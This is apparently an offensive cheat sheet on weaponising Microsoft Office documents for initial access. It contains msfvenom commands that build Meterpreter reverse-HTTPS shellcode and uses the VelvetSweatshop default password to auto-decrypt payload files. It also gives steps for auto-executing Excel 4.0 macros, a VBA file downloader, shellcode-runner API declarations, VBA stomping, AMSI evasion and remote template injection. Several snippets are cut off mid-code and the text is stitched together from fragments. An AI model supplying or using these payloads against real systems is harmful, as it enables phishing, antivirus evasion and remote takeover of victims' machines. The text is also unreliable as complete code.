## Office Default Passwords
By default, Excel does not set a password when saving a new file. However, some older versions of Excel had a default password that was used if the user did not set a password themselves. The default password was "`VelvetSweatshop`", and it could be used to open any file that did not have a password set.
> If the user has not supplied an encryption password and the document is encrypted, the default encryption choice using the techniques specified in section 2.3 MUST be the following password: "`\x2f\x30\x31\x48\x61\x6e\x6e\x65\x73\x20\x52\x75\x65\x73\x63\x68\x65\x72\x2f\x30\x31`". - [2.4.2.3 Binary Document Write Protection Method 3](https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-offcrypto/57fc02f0-c1de-4fc6-908f-d146104662f5)
> When using EPPlus, the creation of the Excel document varied significantly enough that most A/V didn't catch a simple lolbas payload to get a beacon on a target machine.
> XOR Obfuscation technique will NOT work with VBA macros since VBA is stored in a different stream that will not be encrypted when you password protect the document. This only works for Excel 4.0 macros.
msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
# Custom shellcode
msfvenom -p generic/custom PAYLOADFILE=payload86.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-86.bin -b '\x00'
msfvenom -p generic/custom PAYLOADFILE=payload64.bin -a x64 --platform windows -e x64/xor_dynamic -f raw -o shellcode-64.bin -b '\x00'
# MSF shellcode
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00' -a x64 --platform windows -e x64/xor_dynamic --platform windows -f raw -o msf64.bin
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw -o msf86.bin
When using Macrome build mode, the --password flag may be used to encrypt the generated document using XOR Obfuscation. If the default password of **VelvetSweatshop** is used when building the document, all versions of Excel will automatically decrypt the document without any additional user input. This password can only be set in Excel 2003.
* XLM (Excel 4.0) macros pre-date VBA and can be delivered in .xls files.
* AMSI has no visibility into XLM macros (for now)
* Anti-virus struggles with XLM (for now)
* XLM macros can access the Win32 API (virtualalloc, createthread, ...)
1. Open an Excel Workbook.
2. Right click on "Sheet 1" and click "Insert...". Select "MS Excel 4.0 Macro".
3. Open your EXCELntDonut output file in a text editor and copy everything.
4. Paste the EXCELntDonut output text in Column A of your XLM Macro sheet.
5. At this point, everything is in column A. To fix that, we'll use the "Text-to-Columns"/"Convert" tool under the "Data" tab.
6. Highlight column A and open the "Text-to-Columns" tool. Select "Delimited" and then "Semicolon" on the next screen. Select "Finished".
7. Right-click on cell A1* and select "Run". This will execute your payload to make sure it works.
8. To enable auto-execution, we need to rename cell A1* to "Auto_Open". You can do this by clicking into cell A1 and then clicking into the box that says "A1"* just above Column A. Change the text from "A1"* to "Auto_Open". Save the file and verify that auto-execution works.
:warning: If you're using the obfuscate flag, after the Text-to-columns operation, your macros won't start in A1. Instead, they'll start at least 100 columns to the right. Scroll horizontally until you see the first cell of text. Let's say that cell is HJ1. If that's the case, then complete steps 6-7 substituting HJ1 for A1
An "XLL" file is a type of file used primarily with Microsoft Excel. It stands for "Excel Add-In Library" and is a dynamic link library (DLL) specifically designed to be loaded into Microsoft Excel. These files extend Excel's functionality by adding extra features, functions, or capabilities that are not available in the standard installation of Excel.
:warning: Excel is blocking untrusted XLL add-ins by default
> A message will prompt to the user saying that the file is corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR! This is tricking the victim to thinking the excel document is corrupted.
2. Generate a new VBA payload from the CACTUSTORCH menu
3. Download DotNetToJscript
4. Compile it
* **DotNetToJscript.exe** - responsible for bootstrapping C# binaries (supplied as input) and converting them to JavaScript or VBScript
* **ExampleAssembly.dll** - the C# assembly that will be given to DotNetToJscript.exe. In default project configuration, the assembly just pops a message box with the text "test"
5. Execute **DotNetToJscript.exe** and supply it with the ExampleAssembly.dll, specify the output file and the output type
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Function DownloadFileA(ByVal URL As String, ByVal DownloadPath As String) As Boolean
On Error GoTo Failed
DownloadFileA = False
'As directory must exist, this is a check
If CreateObject("Scripting.FileSystemObject").FolderExists(CreateObject("Scripting.FileSystemObject").GetParentFolderName(DownloadPath)) = False Then Exit Function
**VBA Stomping**: This technique allows attackers to remove compressed VBA code from Office documents and still execute malicious macros without many of the VBA keywords that AV engines had come to rely on for detection. == Removes P-code.
:warning: VBA stomping is not effective against Excel 97-2003 Workbook (.xls) format.
> The Office VBA integration with AMSI is made up of three parts: (a) logging macro behavior, (b) triggering a scan on suspicious behavior, and (c) stopping a malicious macro upon detection. https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/
:warning: It appears that p-code based attacks where the VBA code is stomped will still be picked up by the AMSI engine (e.g. files manipulated by our tool EvilClippy).
The AMSI engine only hooks into VBA, we can bypass it by using Excel 4.0 Macro
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)
1. A malicious macro is saved in a Word template .dotm file
2. Benign .docx file is created based on one of the default MS Word Document templates
3. Document from step 2 is saved as .docx
4. Document from step 3 is renamed to .zip
5. Document from step 4 gets unzipped
6.**.\word_rels\settings.xml.rels** contains a reference to the template file. That reference gets replaced with a reference to our malicious macro created in step 1. File can be hosted on a web server (http) or webdav (smb).
A VSTO file is a project file created with Visual Studio Tools for Office, a set of development tools provided by Microsoft for building custom add-ins and solutions for Microsoft Office applications. These projects allow developers to enhance the functionality of Office programs like Excel, Word, and Outlook by integrating additional features, automation, and user interface customizations.
* Visual Studio > `Word 2013 and 2016 VSTO Add-in`
## Office Macro Development
### Execute WinAPI
To importe Win32 function we need to use the keyword `Private Declare`
```vb
Private Declare Function <NAME> Lib "<DLL_NAME>" Alias "<FUNCTION_IMPORTED>" (<ByVal/ByRef><NAME_VAR> As <TYPE>, etc.) As <TYPE>
```
If we work on 64bit, we need to add the keyword `PtrSafe` between the keywords `Declare` and `Function`
Importing the `GetUserNameA` from `advapi32.dll`:
```vb
Private Declare PtrSafe Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long
```
`GetUserNameA` prototype in C:
```C
BOOL GetUserNameA(
LPSTR lpBuffer,
LPDWORD pcbBuffer
);
```
### Example with a simple Shellcode Runner
```vb
Private Declare PtrSafe Function VirtualAlloc Lib "Kernel32.dll" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "Kernel32.dll" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Private Declare PtrSafe Function CreateThread Lib "KERNEL32.dll" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
* [Excel 4.0 Macro Function Reference PDF](https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf)
* [Excel 4.0 Macros so hot right now - SneekyMonkey](https://www.sneakymonkey.net/2020/06/22/excel-4-0-macros-so-hot-right-now/)
* [Macros and more with sharpshooter v2.0 - mdsec](https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/)
* [Further evasion in the forgotten corners of ms xls - malware.pizza](https://malware.pizza/2020/06/19/further-evasion-in-the-forgotten-corners-of-ms-xls/)
* [Excel 4.0 macro old but new - fsx30](https://medium.com/@fsx30/excel-4-0-macro-old-but-new-967071106be9)
* [XLS 4.0 macros and covenant - d-sec](https://d-sec.net/2020/10/24/xls-4-0-macros-and-covenant/)
* [Inject macro from a remote dotm template - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros)
* [Phishinh with OLE - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk)
* [PropertyBomb an old new technique for arbitrary code execution in vba macro - Leon Berlin - 22 May 2018](https://www.bitdam.com/2018/05/22/propertybomb-an-old-new-technique-for-arbitrary-code-execution-in-vba-macro/)
* [AMSI in the heap - rmdavy](https://secureyourit.co.uk/wp/2020/04/17/amsi-in-the-heap/)
* [Executing macros from docx with remote - RedXORBlue - July 18, 2018](http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html)
* [One thousand and one ways to copy your shellcode to memory (VBA Macros) - X-C3LL - Feb 18, 2021](https://adepts.of0x.cc/alternatives-copy-shellcode/)
* [Running macros via ActiveX controls - greyhathacker - September 29, 2016](http://www.greyhathacker.net/?p=948)
* [Anti-Analysis Techniques Used in Excel 4.0 Macros - 24 March 2021 - @Jacob_Pimental](https://www.goggleheadedhacker.com/blog/post/23)
* [VSTO: THE PAYLOAD INSTALLER THAT PROBABLY DEFEATS YOUR APPLICATION WHITELISTING RULES - BOHOPS - JANUARY 31, 2018](https://bohops.com/2018/01/31/vsto-the-payload-installer-that-probably-defeats-your-application-whitelisting-rules/)
* [Make phishing great again. VSTO office files are the new macro nightmare? - Daniel Schell - Apr 14, 2022](https://medium.com/@airlockdigital/make-phishing-great-again-vsto-office-files-are-the-new-macro-nightmare-e09fcadef010)
